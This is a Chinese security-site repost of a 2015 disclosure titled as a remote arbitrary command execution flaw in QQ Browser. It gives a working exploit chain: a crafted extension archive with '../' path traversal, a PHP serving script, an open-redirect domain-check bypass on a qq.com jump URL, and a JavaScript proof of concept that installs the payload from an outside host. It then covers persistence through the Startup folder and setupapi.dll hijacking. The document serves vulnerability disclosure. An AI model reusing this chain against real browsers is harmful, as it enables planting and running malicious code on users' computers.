首页 > 安全 > 系统安全 >

QQ浏览器远程任意命令执行漏洞(附有分析和利用)

2015-03-17

嗯,有点意思!详细说明:1 对于QQ浏览器来说,只要是qq com的域名下的网页,就有权限调用 external下的一些API接口,比如:安装插件:window external extension installExtension卸载插件:window external

1. 对于QQ浏览器来说,只要是qq.com的域名下的网页,就有权限调用 external下的一些API接口,比如:


安装插件:window.external.extension.installExtension

卸载插件:window.external.getExtension("").uninstallExtension



2. 对于window.external.extension.installExtension,其用法如下:

window.external.extension.installExtension("插件GUID","插件地址","插件版本",回调函数);





一个实例:

window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://xxxx.qq.com/AAAAAAAA.qrx","8.0.1.19",function(){
alert("install ok");
});





其中,插件地址要求是qq.com域下的地址方可。



3. 看样子我们似乎可以安装任意插件,然而,QQ的浏览器插件实现,对插件内所调用的JS等含有功能代码的文件均有校验机制,这使得我们无法在插件内打包恶意的JS代码。



4. 然而,QQ浏览器插件(qrx)本身就是一个压缩包,远程安装QQ插件的时候,QQ浏览器会首先解压这个压缩包,然后才是上一步的校验。校验这一步没什么问题,那解压缩这步会不会有问题呢?



5. 于是,我们下载一个QQ浏览器插件,采用7zip打开, 拖入一个calc.exe到压缩包中,



1.png





接着对calc.exe进行重命名:



../../../../../../../../../calc.exe



2.png





相当于我们在压缩包里打包了一个这样路径的文件:C:\Users\用户名\AppData\Roaming\Tencent\QQBrowser\Extensions8\{38D6C77F-66BE-413E-996C-85372DB1A510}\8.0.0.2\../../../../../../../../../calc.exe



6. 我们将改造后的 1.qrx文件和index.php放到我们本地测试服务器(x.com)的根目录下。



/1.qrx

/index.php



其中index.php代码为:

<?php
echo file_get_contents("./1.qrx");
?>





然后我们为了绕过window.external.extension.installExtension中插件URL的域名限制,我们在乌云以前的漏洞里找到了一个302跳转:



http://tixing.qq.com/cgi-bin/jump?url=http://xxx.com/



这个跳转本身的url参数依然存在域名判断限制,但是可以被我们可以轻松的用以下方式绕过。



http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/



这也是我们最终构造好的插件下载地址:



http://tixing.qq.com/cgi-bin/jump?url=http://x.com?qq.com/



--> 跳转到:



http://x.com?qq.com/



--> 相当于 http://x.com/index.php



--> 读取1.qrx的内容返回



7. 我们随便打开一个QQ的网站,比如 qzs.qq.com/123 (网页不存在没关系)



然后F12打开脚本控制台,运行下面的测试代码(会向C盘根目录写入一个calc.exe):

(function(){
var isWin7=/NT\s+6/.test(navigator.userAgent);
window.external.getExtension("").uninstallExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}",function(){
if(isWin7){
window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx","8.0.1.19",function(){
alert("demo win7");
});
}else{
//xp
window.external.extension.installExtension("{CD36E3DB-304A-48EF-A8A2-D873F608D2AE}","http://tixing.qq.com/cgi-bin/jump?url=http://appmaker.sinaapp.com?.qq.com/1.qrx","8.0.1.19",function(){
alert("demo xp");
});
}
});
})();





效果如下图所示:


3.jpg





可以看到(Win 7 下需关闭UAC), 调用安装插件这个API后,确实在C盘根目录下写入了一个calc.exe文件。



XP下也一样是可以的。



5.jpg







8. 最后,我们要做的事情,就是找一个QQ域下的XSS, 这里我就不找了。因为这个漏洞的重点已经不在找XSS上了。。如果一定要我找一个补上,请留言。

1. win7下,关闭UAC的情况下,可以写入启动目录,



calc.exe 重命名为 ../../../../../../../../../ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/calc.exe 即可。



但是XP下,启动目录有中文,这个漏洞,在解压时,无法正常处理中文路径。



2. 但是xp下,可以结合其它小问题来实现命令执行,比如dll劫持。



如果QQ浏览器默认路径安装,



自己创建一个dll,重命名为 ../../../../../../../../../Program Files/Tencent/QQBrowser/setupapi.dll



用户访问恶意构造网页,安装恶意插件包,即会在QQ浏览器所在目录释放一个setupapi.dll,下次浏览器启动时,被劫持,如下图:



4.png

解决方案:

修复插件包安装相关代码。

相关文章
最新文章
热点推荐